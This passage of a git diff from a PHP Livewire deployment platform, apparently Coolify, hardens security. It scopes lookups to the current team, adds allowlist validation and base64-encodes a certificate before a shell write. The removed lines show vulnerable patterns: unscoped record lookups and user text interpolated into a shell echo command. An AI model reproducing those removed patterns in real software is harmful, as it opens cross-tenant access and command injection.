'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), ]); if ($validator->fails()) { diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 77b106200..e46ad7d78 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -57,15 +57,6 @@ class GithubPrivateRepositoryDeployKey extends Component private ?string $git_repository = null; - protected $rules = [ - 'repository_url' => ['required', 'string'], - 'branch' => ['required', 'string'], - 'port' => 'required|numeric', - 'is_static' => 'required|boolean', - 'publish_directory' => 'nullable|string', - 'build_pack' => 'required|string', - ]; - protected function rules() { return [ @@ -75,6 +66,7 @@ protected function rules() 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), ]; } diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 2fffff6b9..3df31a6a3 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -63,16 +63,6 @@ class PublicGitRepository extends Component public bool $new_compose_services = false; - protected $rules = [ - 'repository_url' => ['required', 'string'], - 'port' => 'required|numeric', - 'isStatic' => 'required|boolean', - 'publish_directory' => 'nullable|string', - 'build_pack' => 'required|string', - 'base_directory' => 'nullable|string', - 'docker_compose_location' => 'nullable|string', - ]; - protected function rules() { return [ @@ -82,7 +72,7 @@ protected function rules() 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => 'nullable|string', + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), 'git_branch' => ['required', 'string', new ValidGitBranch], ]; } diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 079115bb6..5d948bffd 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -134,12 +134,12 @@ public function convertToFile() } } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('update', $this->resource); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } try { @@ -158,6 +158,8 @@ public function delete($password) } finally { $this->dispatch('refreshStorages'); } + + return true; } public function submit() diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index 360282911..c77a3a516 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -53,6 +53,8 @@ class Index extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isPublic = false; public bool $isLogDrainEnabled = false; @@ -90,6 +92,7 @@ class Index extends Component 'image' => 'required', 'excludeFromStatus' => 'required|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isPublic' => 'required|boolean', 'isLogDrainEnabled' => 'required|boolean', // Application-specific rules @@ -158,6 +161,7 @@ private function syncDatabaseData(bool $toModel = false): void $this->serviceDatabase->image = $this->image; $this->serviceDatabase->exclude_from_status = $this->excludeFromStatus; $this->serviceDatabase->public_port = $this->publicPort; + $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout; $this->serviceDatabase->is_public = $this->isPublic; $this->serviceDatabase->is_log_drain_enabled = $this->isLogDrainEnabled; } else { @@ -166,6 +170,7 @@ private function syncDatabaseData(bool $toModel = false): void $this->image = $this->serviceDatabase->image; $this->excludeFromStatus = $this->serviceDatabase->exclude_from_status ?? false; $this->publicPort = $this->serviceDatabase->public_port; + $this->publicPortTimeout = $this->serviceDatabase->public_port_timeout; $this->isPublic = $this->serviceDatabase->is_public ?? false; $this->isLogDrainEnabled = $this->serviceDatabase->is_log_drain_enabled ?? false; } @@ -189,13 +194,13 @@ public function refreshFileStorages() } } - public function deleteDatabase($password) + public function deleteDatabase($password, $selectedActions = []) { try { $this->authorize('delete', $this->serviceDatabase); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->serviceDatabase->delete(); @@ -393,13 +398,13 @@ public function instantSaveApplicationAdvanced() } } - public function deleteApplication($password) + public function deleteApplication($password, $selectedActions = []) { try { $this->authorize('delete', $this->serviceApplication); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->serviceApplication->delete(); diff --git a/app/Livewire/Project/Shared/Danger.php b/app/Livewire/Project/Shared/Danger.php index 1b15c6367..caaabc494 100644 --- a/app/Livewire/Project/Shared/Danger.php +++ b/app/Livewire/Project/Shared/Danger.php @@ -45,10 +45,10 @@ public function mount() if ($this->resource === null) { if (isset($parameters['service_uuid'])) { - $this->resource = Service::where('uuid', $parameters['service_uuid'])->first(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $parameters['service_uuid'])->first(); } elseif (isset($parameters['stack_service_uuid'])) { - $this->resource = ServiceApplication::where('uuid', $parameters['stack_service_uuid'])->first() - ?? ServiceDatabase::where('uuid', $parameters['stack_service_uuid'])->first(); + $this->resource = ServiceApplication::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first() + ?? ServiceDatabase::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first(); } } @@ -88,16 +88,21 @@ public function mount() } } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if (! $this->resource) { - $this->addError('resource', 'Resource not found.'); + return 'Resource not found.'; + } - return; + if (! empty($selectedActions)) { + $this->delete_volumes = in_array('delete_volumes', $selectedActions); + $this->delete_connected_networks = in_array('delete_connected_networks', $selectedActions); + $this->delete_configurations = in_array('delete_configurations', $selectedActions); + $this->docker_cleanup = in_array('docker_cleanup', $selectedActions); } try { diff --git a/app/Livewire/Project/Shared/Destination.php b/app/Livewire/Project/Shared/Destination.php index 7ab81b7d1..363471760 100644 --- a/app/Livewire/Project/Shared/Destination.php +++ b/app/Livewire/Project/Shared/Destination.php @@ -134,11 +134,11 @@ public function addServer(int $network_id, int $server_id) $this->dispatch('refresh'); } - public function removeServer(int $network_id, int $server_id, $password) + public function removeServer(int $network_id, int $server_id, $password, $selectedActions = []) { try { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if ($this->resource->destination->server->id == $server_id && $this->resource->destination->id == $network_id) { @@ -152,6 +152,8 @@ public function removeServer(int $network_id, int $server_id, $password) $this->loadData(); $this->dispatch('refresh'); ApplicationStatusChanged::dispatch(data_get($this->resource, 'environment.project.team.id')); + + return true; } catch (\Exception $e) { return handleError($e, $this); } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php index fa65e8bd2..73d5393b0 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php @@ -31,6 +31,8 @@ class Add extends Component public bool $is_buildtime = true; + public ?string $comment = null; + public array $problematicVariables = []; protected $listeners = ['clearAddEnv' => 'clear']; @@ -42,6 +44,7 @@ class Add extends Component 'is_literal' => 'required|boolean', 'is_runtime' => 'required|boolean', 'is_buildtime' => 'required|boolean', + 'comment' => 'nullable|string|max:256', ]; protected $validationAttributes = [ @@ -51,6 +54,7 @@ class Add extends Component 'is_literal' => 'literal', 'is_runtime' => 'runtime', 'is_buildtime' => 'buildtime', + 'comment' => 'comment', ]; public function mount() @@ -136,6 +140,7 @@ public function submit() 'is_runtime' => $this->is_runtime, 'is_buildtime' => $this->is_buildtime, 'is_preview' => $this->is_preview, + 'comment' => $this->comment, ]); $this->clear(); } @@ -148,5 +153,6 @@ public function clear() $this->is_literal = false; $this->is_runtime = true; $this->is_buildtime = true; + $this->comment = null; } } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 55e388b78..f250a860b 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -89,6 +89,62 @@ public function getEnvironmentVariablesPreviewProperty() return $query->get(); } + public function getHardcodedEnvironmentVariablesProperty() + { + return $this->getHardcodedVariables(false); + } + + public function getHardcodedEnvironmentVariablesPreviewProperty() + { + return $this->getHardcodedVariables(true); + } + + protected function getHardcodedVariables(bool $isPreview) + { + // Only for services and docker-compose applications + if ($this->resource->type() !== 'service' && + ($this->resourceClass !== 'App\Models\Application' || + ($this->resourceClass === 'App\Models\Application' && $this->resource->build_pack !== 'dockercompose'))) { + return collect([]); + } + + $dockerComposeRaw = $this->resource->docker_compose_raw ?? $this->resource->docker_compose; + + if (blank($dockerComposeRaw)) { + return collect([]); + } + + // Extract all hard-coded variables + $hardcodedVars = extractHardcodedEnvironmentVariables($dockerComposeRaw); + + // Filter out magic variables (SERVICE_FQDN_*, SERVICE_URL_*, SERVICE_NAME_*) + $hardcodedVars = $hardcodedVars->filter(function ($var) { + $key = $var['key']; + + return ! str($key)->startsWith(['SERVICE_FQDN_', 'SERVICE_URL_', 'SERVICE_NAME_']); + }); + + // Filter out variables that exist in database (user has overridden/managed them) + // For preview, check against preview variables; for production, check against production variables + if ($isPreview) { + $managedKeys = $this->resource->environment_variables_preview()->pluck('key')->toArray(); + } else { + $managedKeys = $this->resource->environment_variables()->where('is_preview', false)->pluck('key')->toArray(); + } + + $hardcodedVars = $hardcodedVars->filter(function ($var) use ($managedKeys) { + return ! in_array($var['key'], $managedKeys); + }); + + // Apply sorting based on is_env_sorting_enabled + if ($this->is_env_sorting_enabled) { + $hardcodedVars = $hardcodedVars->sortBy('key')->values(); + } + // Otherwise keep order from docker-compose file + + return $hardcodedVars; + } + public function getDevView() { $this->variables = $this->formatEnvironmentVariables($this->environmentVariables); @@ -240,6 +296,7 @@ private function createEnvironmentVariable($data) $environment->is_runtime = $data['is_runtime'] ?? true; $environment->is_buildtime = $data['is_buildtime'] ?? true; $environment->is_preview = $data['is_preview'] ?? false; + $environment->comment = $data['comment'] ?? null; $environment->resourceable_id = $this->resource->id; $environment->resourceable_type = $this->resource->getMorphClass(); @@ -280,18 +337,37 @@ private function deleteRemovedVariables($isPreview, $variables) private function updateOrCreateVariables($isPreview, $variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { if (str($key)->startsWith('SERVICE_FQDN') || str($key)->startsWith('SERVICE_URL') || str($key)->startsWith('SERVICE_NAME')) { continue; } + + // Extract value and comment from parsed data + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + $method = $isPreview ? 'environment_variables_preview' : 'environment_variables'; $found = $this->resource->$method()->where('key', $key)->first(); if ($found) { if (! $found->is_shown_once && ! $found->is_multiline) { - // Only count as a change if the value actually changed + $changed = false; + + // Update value if it changed if ($found->value !== $value) { $found->value = $value; + $changed = true; + } + + // Only update comment from inline comment if one is provided (overwrites existing) + // If $comment is null, don't touch existing comment field to preserve it + if ($comment !== null && $found->comment !== $comment) { + $found->comment = $comment; + $changed = true; + } + + if ($changed) { $found->save(); $count++; } @@ -300,6 +376,7 @@ private function updateOrCreateVariables($isPreview, $variables) $environment = new EnvironmentVariable; $environment->key = $key; $environment->value = $value; + $environment->comment = $comment; // Set comment from inline comment $environment->is_multiline = false; $environment->is_preview = $isPreview; $environment->resourceable_id = $this->resource->id; diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 2030f631e..2a18be13c 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -24,6 +24,8 @@ class Show extends Component public bool $isLocked = false; + public bool $isMagicVariable = false; + public bool $isSharedVariable = false; public string $type; @@ -34,6 +36,8 @@ class Show extends Component public ?string $real_value = null; + public ?string $comment = null; + public bool $is_shared = false; public bool $is_multiline = false; @@ -63,6 +67,7 @@ class Show extends Component protected $rules = [ 'key' => 'required|string', 'value' => 'nullable', + 'comment' => 'nullable|string|max:256', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -104,6 +109,7 @@ public function syncData(bool $toModel = false) $this->validate([ 'key' => 'required|string', 'value' => 'nullable', + 'comment' => 'nullable|string|max:256', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -118,6 +124,7 @@ public function syncData(bool $toModel = false) } $this->env->key = $this->key; $this->env->value = $this->value; + $this->env->comment = $this->comment; $this->env->is_multiline = $this->is_multiline; $this->env->is_literal = $this->is_literal; $this->env->is_shown_once = $this->is_shown_once; @@ -125,6 +132,7 @@ public function syncData(bool $toModel = false) } else { $this->key = $this->env->key; $this->value = $this->env->value; + $this->comment = $this->env->comment; $this->is_multiline = $this->env->is_multiline; $this->is_literal = $this->env->is_literal; $this->is_shown_once = $this->env->is_shown_once; @@ -140,9 +148,13 @@ public function syncData(bool $toModel = false) public function checkEnvs() { $this->isDisabled = false; + $this->isMagicVariable = false; + if (str($this->env->key)->startsWith('SERVICE_FQDN') || str($this->env->key)->startsWith('SERVICE_URL') || str($this->env->key)->startsWith('SERVICE_NAME')) { $this->isDisabled = true; + $this->isMagicVariable = true; } + if ($this->env->is_shown_once) { $this->isLocked = true; } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php new file mode 100644 index 000000000..3a49ce124 --- /dev/null +++ b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php @@ -0,0 +1,31 @@ +key = $this->env['key']; + $this->value = $this->env['value'] ?? null; + $this->comment = $this->env['comment'] ?? null; + $this->serviceName = $this->env['service_name'] ?? null; + } + + public function render() + { + return view('livewire.project.shared.environment-variable.show-hardcoded'); + } +} diff --git a/app/Livewire/Project/Shared/ExecuteContainerCommand.php b/app/Livewire/Project/Shared/ExecuteContainerCommand.php index 02062e1f7..df12b1d9c 100644 --- a/app/Livewire/Project/Shared/ExecuteContainerCommand.php +++ b/app/Livewire/Project/Shared/ExecuteContainerCommand.php @@ -38,7 +38,7 @@ public function mount() $this->servers = collect(); if (data_get($this->parameters, 'application_uuid')) { $this->type = 'application'; - $this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail(); + $this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail(); if ($this->resource->destination->server->isFunctional()) { $this->servers = $this->servers->push($this->resource->destination->server); } @@ -61,14 +61,14 @@ public function mount() $this->loadContainers(); } elseif (data_get($this->parameters, 'service_uuid')) { $this->type = 'service'; - $this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail(); if ($this->resource->server->isFunctional()) { $this->servers = $this->servers->push($this->resource->server); } $this->loadContainers(); } elseif (data_get($this->parameters, 'server_uuid')) { $this->type = 'server'; - $this->resource = Server::where('uuid', $this->parameters['server_uuid'])->firstOrFail(); + $this->resource = Server::ownedByCurrentTeam()->where('uuid', $this->parameters['server_uuid'])->firstOrFail(); $this->servers = $this->servers->push($this->resource); } $this->servers = $this->servers->sortByDesc(fn ($server) => $server->isTerminalEnabled()); diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php index 05f786690..0d5d71b45 100644 --- a/app/Livewire/Project/Shared/HealthChecks.php +++ b/app/Livewire/Project/Shared/HealthChecks.php @@ -16,19 +16,25 @@ class HealthChecks extends Component #[Validate(['boolean'])] public bool $healthCheckEnabled = false; - #[Validate(['string'])] + #[Validate(['string', 'in:http,cmd'])] + public string $healthCheckType = 'http'; + + #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])] + public ?string $healthCheckCommand = null; + + #[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])] public string $healthCheckMethod; - #[Validate(['string'])] + #[Validate(['required', 'string', 'in:http,https'])] public string $healthCheckScheme; - #[Validate(['string'])] + #[Validate(['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'])] public string $healthCheckHost; - #[Validate(['nullable', 'string'])] + #[Validate(['nullable', 'integer', 'min:1', 'max:65535'])] public ?string $healthCheckPort = null; - #[Validate(['string'])] + #[Validate(['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'])] public string $healthCheckPath; #[Validate(['integer'])] @@ -54,12 +60,14 @@ class HealthChecks extends Component protected $rules = [ 'healthCheckEnabled' => 'boolean', - 'healthCheckPath' => 'string', - 'healthCheckPort' => 'nullable|string', - 'healthCheckHost' => 'string', - 'healthCheckMethod' => 'string', + 'healthCheckType' => 'string|in:http,cmd', + 'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], + 'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'], + 'healthCheckPort' => 'nullable|integer|min:1|max:65535', + 'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], + 'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS', 'healthCheckReturnCode' => 'integer', - 'healthCheckScheme' => 'string', + 'healthCheckScheme' => 'required|string|in:http,https', 'healthCheckResponseText' => 'nullable|string', 'healthCheckInterval' => 'integer|min:1', 'healthCheckTimeout' => 'integer|min:1', @@ -81,6 +89,8 @@ public function syncData(bool $toModel = false): void // Sync to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -98,6 +108,8 @@ public function syncData(bool $toModel = false): void } else { // Sync from model $this->healthCheckEnabled = $this->resource->health_check_enabled; + $this->healthCheckType = $this->resource->health_check_type ?? 'http'; + $this->healthCheckCommand = $this->resource->health_check_command; $this->healthCheckMethod = $this->resource->health_check_method; $this->healthCheckScheme = $this->resource->health_check_scheme; $this->healthCheckHost = $this->resource->health_check_host; @@ -116,9 +128,12 @@ public function syncData(bool $toModel = false): void public function instantSave() { $this->authorize('update', $this->resource); + $this->validate(); // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -143,6 +158,8 @@ public function submit() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -171,6 +188,8 @@ public function toggleHealthcheck() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; diff --git a/app/Livewire/Project/Shared/Logs.php b/app/Livewire/Project/Shared/Logs.php index 6c4aadd39..a95259c71 100644 --- a/app/Livewire/Project/Shared/Logs.php +++ b/app/Livewire/Project/Shared/Logs.php @@ -106,7 +106,7 @@ public function mount() $this->query = request()->query(); if (data_get($this->parameters, 'application_uuid')) { $this->type = 'application'; - $this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail(); + $this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail(); $this->status = $this->resource->status; if ($this->resource->destination->server->isFunctional()) { $server = $this->resource->destination->server; @@ -133,7 +133,7 @@ public function mount() $this->containers->push($this->container); } elseif (data_get($this->parameters, 'service_uuid')) { $this->type = 'service'; - $this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail(); $this->resource->applications()->get()->each(function ($application) { $this->containers->push(data_get($application, 'name').'-'.data_get($this->resource, 'uuid')); }); diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index 4ba961dfd..e769e4bcb 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -49,9 +49,10 @@ public function cloneTo($destination_id) { $this->authorize('update', $this->resource); - $new_destination = StandaloneDocker::find($destination_id); + $teamScope = fn ($q) => $q->where('team_id', currentTeam()->id); + $new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id); if (! $new_destination) { - $new_destination = SwarmDocker::find($destination_id); + $new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id); } if (! $new_destination) { return $this->addError('destination_id', 'Destination not found.'); @@ -352,7 +353,7 @@ public function moveTo($environment_id) { try { $this->authorize('update', $this->resource); - $new_environment = Environment::findOrFail($environment_id); + $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id); $this->resource->update([ 'environment_id' => $environment_id, ]); diff --git a/app/Livewire/Project/Shared/ScheduledTask/Show.php b/app/Livewire/Project/Shared/ScheduledTask/Show.php index b1b34dd71..02c13a66c 100644 --- a/app/Livewire/Project/Shared/ScheduledTask/Show.php +++ b/app/Livewire/Project/Shared/ScheduledTask/Show.php @@ -52,15 +52,6 @@ class Show extends Component #[Locked] public string $task_uuid; - public function getListeners() - { - $teamId = auth()->user()->currentTeam()->id; - - return [ - "echo-private:team.{$teamId},ServiceChecked" => '$refresh', - ]; - } - public function mount(string $task_uuid, string $project_uuid, string $environment_uuid, ?string $application_uuid = null, ?string $service_uuid = null) { try { diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index 2091eca14..69395a591 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -77,15 +77,17 @@ public function submit() $this->dispatch('success', 'Storage updated successfully'); } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('update', $this->resource); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->storage->delete(); $this->dispatch('refreshStorages'); + + return true; } } diff --git a/app/Livewire/Server/CaCertificate/Show.php b/app/Livewire/Server/CaCertificate/Show.php index c929d9b3d..57aaaa945 100644 --- a/app/Livewire/Server/CaCertificate/Show.php +++ b/app/Livewire/Server/CaCertificate/Show.php @@ -60,10 +60,16 @@ public function saveCaCertificate() throw new \Exception('Certificate content cannot be empty.'); } - if (! openssl_x509_read($this->certificateContent)) { + $parsedCert = openssl_x509_read($this->certificateContent); + if (! $parsedCert) { throw new \Exception('Invalid certificate format.'); } + if (! openssl_x509_export($parsedCert, $cleanedCertificate)) { + throw new \Exception('Failed to process certificate.'); + } + $this->certificateContent = $cleanedCertificate; + if ($this->caCertificate) { $this->caCertificate->ssl_certificate = $this->certificateContent; $this->caCertificate->save(); @@ -114,12 +120,14 @@ private function writeCertificateToServer() { $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($this->certificateContent); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$this->certificateContent}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/app/Livewire/Server/Delete.php b/app/Livewire/Server/Delete.php index e7b64b805..d06543b39 100644 --- a/app/Livewire/Server/Delete.php +++ b/app/Livewire/Server/Delete.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server; use App\Actions\Server\DeleteServer; +use App\Jobs\DeleteResourceJob; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -15,6 +16,8 @@ class Delete extends Component public bool $delete_from_hetzner = false; + public bool $force_delete_resources = false; + public function mount(string $server_uuid) { try { @@ -24,19 +27,30 @@ public function mount(string $server_uuid) } } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; + } + + if (! empty($selectedActions)) { + $this->delete_from_hetzner = in_array('delete_from_hetzner', $selectedActions); + $this->force_delete_resources = in_array('force_delete_resources', $selectedActions); } try { $this->authorize('delete', $this->server); - if ($this->server->hasDefinedResources()) { - $this->dispatch('error', 'Server has defined resources. Please delete them first.'); + if ($this->server->hasDefinedResources() && ! $this->force_delete_resources) { + $this->dispatch('error', 'Server has defined resources. Please delete them first or select "Delete all resources".'); return; } + if ($this->force_delete_resources) { + foreach ($this->server->definedResources() as $resource) { + DeleteResourceJob::dispatch($resource); + } + } + $this->server->delete(); DeleteServer::dispatch( $this->server->id, @@ -56,6 +70,15 @@ public function render() { $checkboxes = []; + if ($this->server->hasDefinedResources()) { + $resourceCount = $this->server->definedResources()->count(); + $checkboxes[] = [ + 'id' => 'force_delete_resources', + 'label' => "Delete all resources ({$resourceCount} total)", + 'default_warning' => 'Server cannot be deleted while it has resources.', + ]; + } + if ($this->server->hetzner_server_id) { $checkboxes[] = [ 'id' => 'delete_from_hetzner', diff --git a/app/Livewire/Server/DockerCleanup.php b/app/Livewire/Server/DockerCleanup.php index 92094c950..12d111d21 100644 --- a/app/Livewire/Server/DockerCleanup.php +++ b/app/Livewire/Server/DockerCleanup.php @@ -3,8 +3,13 @@ namespace App\Livewire\Server; use App\Jobs\DockerCleanupJob; +use App\Models\DockerCleanupExecution; use App\Models\Server; +use Cron\CronExpression; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Support\Carbon; +use Illuminate\Support\Facades\Cache; +use Livewire\Attributes\Computed; use Livewire\Attributes\Validate; use Livewire\Component; @@ -34,6 +39,53 @@ class DockerCleanup extends Component #[Validate('boolean')] public bool $disableApplicationImageRetention = false; + #[Computed] + public function isCleanupStale(): bool + { + try { + $lastExecution = DockerCleanupExecution::where('server_id', $this->server->id) + ->orderBy('created_at', 'desc') + ->first(); + + if (! $lastExecution) { + return false; + } + + $frequency = $this->server->settings->docker_cleanup_frequency ?? '0 0 * * *'; + if (isset(VALID_CRON_STRINGS[$frequency])) { + $frequency = VALID_CRON_STRINGS[$frequency]; + } + + $cron = new CronExpression($frequency); + $now = Carbon::now(); + $nextRun = Carbon::parse($cron->getNextRunDate($now)); + $afterThat = Carbon::parse($cron->getNextRunDate($nextRun)); + $intervalMinutes = $nextRun->diffInMinutes($afterThat); + + $threshold = max($intervalMinutes * 2, 10); + + return Carbon::parse($lastExecution->created_at)->diffInMinutes($now) > $threshold; + } catch (\Throwable) { + return false; + } + } + + #[Computed] + public function lastExecutionTime(): ?string + { + return DockerCleanupExecution::where('server_id', $this->server->id) + ->orderBy('created_at', 'desc') + ->first() + ?->created_at + ?->diffForHumans(); + } + + #[Computed] + public function isSchedulerHealthy(): bool + { + return Cache::get('scheduled-job-manager:heartbeat') !== null; + } + public function mount(string $server_uuid) { try { diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php index d4a65af81..5d77f4998 100644 --- a/app/Livewire/Server/LogDrains.php +++ b/app/Livewire/Server/LogDrains.php @@ -24,16 +24,16 @@ class LogDrains extends Component #[Validate(['boolean'])] public bool $isLogDrainAxiomEnabled = false; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainNewRelicLicenseKey = null; #[Validate(['url', 'nullable'])] public ?string $logDrainNewRelicBaseUri = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomDatasetName = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomApiKey = null; #[Validate(['string', 'nullable'])] @@ -127,7 +127,7 @@ public function customValidation() if ($this->isLogDrainNewRelicEnabled) { try { $this->validate([ - 'logDrainNewRelicLicenseKey' => ['required'], + 'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logDrainNewRelicBaseUri' => ['required', 'url'], ]); } catch (\Throwable $e) { @@ -138,8 +138,8 @@ public function customValidation() } elseif ($this->isLogDrainAxiomEnabled) { try { $this->validate([ - 'logDrainAxiomDatasetName' => ['required'], - 'logDrainAxiomApiKey' => ['required'], + 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logDrainAxiomApiKey' => ['required', 